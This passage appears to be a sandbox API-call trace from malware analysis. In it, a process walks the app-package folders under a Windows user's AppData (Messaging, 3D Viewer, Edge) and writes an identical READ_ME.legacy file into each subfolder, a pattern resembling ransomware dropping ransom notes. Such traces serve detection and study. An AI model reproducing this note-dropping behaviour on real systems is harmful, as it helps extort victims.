ftLastWriteTime.dwLowDateTime=0xfbc3e2f6, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="SystemAppData", cAlternateFileName="SYSTEM~1")) returned 1 [0153.542] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Messaging_8wekyb3d8bbwe\\SystemAppData\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.messaging_8wekyb3d8bbwe\\systemappdata\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x87c [0153.543] WriteFile (in: hFile=0x87c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0153.544] CloseHandle (hObject=0x87c) returned 1 [0153.544] FindNextFileW (in: hFindFile=0x61e608, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3517066f, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x45c47a35, ftLastAccessTime.dwHighDateTime=0x1d327cd, ftLastWriteTime.dwLowDateTime=0x45c47a35, ftLastWriteTime.dwHighDateTime=0x1d327cd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 1 [0153.544] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Messaging_8wekyb3d8bbwe\\TempState\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.messaging_8wekyb3d8bbwe\\tempstate\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x87c [0153.545] WriteFile (in: hFile=0x87c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0153.546] CloseHandle (hObject=0x87c) returned 1 [0153.546] FindNextFileW (in: hFindFile=0x61e608, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3517066f, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x45c47a35, ftLastAccessTime.dwHighDateTime=0x1d327cd, ftLastWriteTime.dwLowDateTime=0x45c47a35, ftLastWriteTime.dwHighDateTime=0x1d327cd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 0 [0153.546] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Microsoft3DViewer_8wekyb3d8bbwe\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf9ee3238, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xf9f55962, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xe3357fbd, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x61e4c8 [0153.546] FindNextFileW (in: hFindFile=0x61e4c8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf9ee3238, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xf9f55962, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xe3357fbd, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0153.546] FindNextFileW (in: hFindFile=0x61e4c8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf9f55962, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xf9f55962, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xf9f55962, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="AC", cAlternateFileName="")) returned 1 [0153.546] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Microsoft3DViewer_8wekyb3d8bbwe\\AC\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoft3dviewer_8wekyb3d8bbwe\\ac\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x880 [0153.551] WriteFile (in: hFile=0x880, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0153.551] CloseHandle (hObject=0x880) returned 1 [0153.552] FindNextFileW (in: hFindFile=0x61e4c8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf9ee3238, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xf9ee3238, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xf9ee3238, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="AppData", cAlternateFileName="")) returned 1 [0153.552] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Microsoft3DViewer_8wekyb3d8bbwe\\AppData\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoft3dviewer_8wekyb3d8bbwe\\appdata\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x880 [0153.552] WriteFile (in: hFile=0x880, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0153.553] CloseHandle (hObject=0x880) returned 1 [0153.553] FindNextFileW (in: hFindFile=0x61e4c8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x410, ftCreationTime.dwLowDateTime=0xf9ee3238, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xf9ee3238, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xf9ee3238, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="LocalCache", cAlternateFileName="LOCALC~1")) returned 1 [0153.553] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Microsoft3DViewer_8wekyb3d8bbwe\\LocalCache\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoft3dviewer_8wekyb3d8bbwe\\localcache\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x880 [0153.554] WriteFile (in: hFile=0x880, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0153.555] CloseHandle (hObject=0x880) returned 1 [0153.555] FindNextFileW (in: hFindFile=0x61e4c8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf9ee3238, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xf9ee3238, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xf9ee3238, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="LocalState", cAlternateFileName="LOCALS~1")) returned 1 [0153.555] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Microsoft3DViewer_8wekyb3d8bbwe\\LocalState\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoft3dviewer_8wekyb3d8bbwe\\localstate\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x880 [0153.556] WriteFile (in: hFile=0x880, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0153.557] CloseHandle (hObject=0x880) returned 1 [0153.557] FindNextFileW (in: hFindFile=0x61e4c8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3357fbd, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xe3357fbd, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xe3357fbd, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0153.557] FindNextFileW (in: hFindFile=0x61e4c8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf9ee3238, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xf9ee3238, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xf9ee3238, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="RoamingState", cAlternateFileName="ROAMIN~1")) returned 1 [0153.557] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Microsoft3DViewer_8wekyb3d8bbwe\\RoamingState\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoft3dviewer_8wekyb3d8bbwe\\roamingstate\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x880 [0153.558] WriteFile (in: hFile=0x880, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0153.559] CloseHandle (hObject=0x880) returned 1 [0153.559] FindNextFileW (in: hFindFile=0x61e4c8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf9ee3238, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xf9ee3238, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xf9ee3238, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="Settings", cAlternateFileName="")) returned 1 [0153.559] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Microsoft3DViewer_8wekyb3d8bbwe\\Settings\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoft3dviewer_8wekyb3d8bbwe\\settings\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x880 [0153.559] WriteFile (in: hFile=0x880, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0153.560] CloseHandle (hObject=0x880) returned 1 [0153.560] FindNextFileW (in: hFindFile=0x61e4c8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf9ee3238, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xf9ee3238, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xf9ee3238, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="SystemAppData", cAlternateFileName="SYSTEM~1")) returned 1 [0153.561] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Microsoft3DViewer_8wekyb3d8bbwe\\SystemAppData\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoft3dviewer_8wekyb3d8bbwe\\systemappdata\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x880 [0153.561] WriteFile (in: hFile=0x880, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0153.562] CloseHandle (hObject=0x880) returned 1 [0153.562] FindNextFileW (in: hFindFile=0x61e4c8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf9ee3238, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xf9ee3238, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xf9ee3238, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 1 [0153.562] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Microsoft3DViewer_8wekyb3d8bbwe\\TempState\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoft3dviewer_8wekyb3d8bbwe\\tempstate\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x880 [0153.563] WriteFile (in: hFile=0x880, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0153.564] CloseHandle (hObject=0x880) returned 1 [0153.564] FindNextFileW (in: hFindFile=0x61e4c8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf9ee3238, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xf9ee3238, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xf9ee3238, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 0 [0153.564] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6a401dd0, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xdc92abfb, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xe3357fbd, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x61ec08 [0153.564] FindNextFileW (in: hFindFile=0x61ec08, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6a401dd0, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xdc92abfb, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xe3357fbd, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0153.564] FindNextFileW (in: hFindFile=0x61ec08, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6a49a72f, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x987efe85, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x987efe85, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="AC", cAlternateFileName="")) returned 1 [0153.564] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x884 [0153.565] WriteFile (in: hFile=0x884, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0153.566] CloseHandle (hObject=0x884) returned 1 [0153.566] FindNextFileW (in: hFindFile=0x61ec08, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6a44e278, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x332cdbf2, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x332cdbf2, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="AppData", cAlternateFileName="")) returned 1 [0153.566] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AppData\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\appdata\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x884 [0153.567] WriteFile (in: hFile=0x884, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0153.568] CloseHandle (hObject=0x884) returned 1 [0153.568] FindNextFileW (in: hFindFile=0x61ec08, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6a428010, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xcd4e0f7a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6a428010, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="LocalCache", cAlternateFileName="LOCALC~1")) returned 1 [0153.568] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\LocalCache\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\localcache\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x884 [0153.569] WriteFile (in: hFile=0x884, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0153.570] CloseHandle (hObject=0x884) returned 1 [0153.570] FindNextFileW (in: hFindFile=0x61ec08, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6a401dd0, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x333666b9, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x333666b9, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="LocalState", cAlternateFileName="LOCALS~1")) returned 1 [0153.570] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\LocalState\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\localstate\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x884 [0153.572] WriteFile (in: hFile=0x884, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0153.573] CloseHandle (hObject=0x884) returned 1 [0153.573] FindNextFileW (in: hFindFile=0x61ec08, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3357fbd, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xe3357fbd, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xe337e5e4, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0153.573] FindNextFileW (in: hFindFile=0x61ec08, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6a401dd0, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xcd4e21af, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6a401dd0, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="RoamingState", cAlternateFileName="ROAMIN~1")) returned 1 [0153.573] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\RoamingState\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\roamingstate\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x884 [0153.573] WriteFile (in: hFile=0x884, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0153.574] CloseHandle (hObject=0x884) returned 1 [0153.574] FindNextFileW (in: hFindFile=0x61ec08, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6a428010, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x71233dac, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x71233dac, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="Settings", cAlternateFileName="")) returned 1 [0153.574] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\Settings\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\settings\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x884 [0153.615] WriteFile (in: hFile=0x884, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0153.616] CloseHandle (hObject=0x884) returned 1 [0153.616] FindNextFileW (in: hFindFile=0x61ec08, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc4fe9ef, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xdc4fe9ef, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xdc4fe9ef, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="SystemAppData", cAlternateFileName="SYSTEM~1")) returned 1 